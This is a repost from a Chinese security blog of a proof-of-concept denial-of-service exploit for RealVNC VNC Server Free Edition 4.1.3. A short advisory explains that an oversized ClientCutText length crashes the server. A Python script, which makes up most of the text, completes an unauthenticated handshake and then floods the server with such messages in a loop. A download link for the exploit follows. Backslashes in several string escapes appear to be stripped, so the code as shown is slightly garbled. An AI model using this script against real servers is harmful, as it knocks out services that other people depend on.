【Poc】VNC4.1.3溢出漏洞利用代码

  • A+
所属分类:lcx

Vulnerability............Denial-of-Service
Software.................RealVNC VNC Server Free Edition 4.1.3
Download.................http://www.realvnc.com/products/free/4.1/download.html
Date.....................5/2/10
Site.....................http://cross-site-scripting.blogspot.com/
[email protected]

##Description#

Sending a ClientCutText Message with a length of 0xFFFFFFFF crashes the server with the
exception shown below. Note: while the vulnerability is present regardless of authentication,
for the sake of simplicity this script only works on servers configured to run with no
authentication.

winvnc4.exe: The instruction at 0x425BE4 referenced memory at 0xFFFFFF00. The memory could not
be written (0x00425BE4 -> FFFFFF00)

##Proof of Concept#
import sys, struct, socket
host ='localhost'
port = 5900

def crash_vnc_server():
    try:
        while 1:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            s.settimeout(1.0)      
            
            print 'Connected'

            try:
                b = s.recv(8192)
                print 'ProtocolVersion Received'
               
                s.send(b)
                print 'ProtocolVersion Sent'            
               
                b = s.recv(8192)
                print 'Security Received'

                s.send('x01')
                print 'Security Sent'
               
                # Recv SecurityResult
                b = s.recv(8192)
                print 'SecurityResult Received'

                if (len(b) == 4 and
                    b[0] == chr(0) and
                    b[1] == chr(0) and
                    b[2] == chr(0) and
                    b[3] == chr(0)):
                    print 'SecurityResult OK'
                else:
                    print 'SecurityResult Failed.nnThe server must be set '
                          'to No Authentication for this to work, otherwise '
                          'you 'll need to write the necessary client side '
                          'authentication code yourself.'
                    return           

                s.send('x01')
                print 'ClientInit Sent'
               
                b = s.recv(8192)
                print 'ServerInit Received'

                text_len = 0xFFFFFF
                text_str = struct.pack('L', text_len) + 'xAA' * text_len
               
                while 1:
                    s.send('x06x00x00x00' + text_str)

                    print 'ClientCutText Sent'
               
            except Exception:
                print 'Connection closed'               
            
    except Exception:
        print 'Couldn't connect'

crash_vnc_server()

漏洞利用程序下载地址:

http://www.uudisc.com/filedownload?user=nuclearatk&id=3090827

文章来源于lcx.cc:【Poc】VNC4.1.3溢出漏洞利用代码

相关推荐: 【PHP】获取指定网站、网页、URL Html源代码

    PHP 获取指定网站、网页、URL 的 Html 源代码,PHP 获取指定网站的 Html 源代码,PHP 获取指定网站 Html 源代码,PHP 取指定网站的 Html 源代码,PHP 获取网站的 Html 源代码,PHP 取指定网站 Html 源代…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: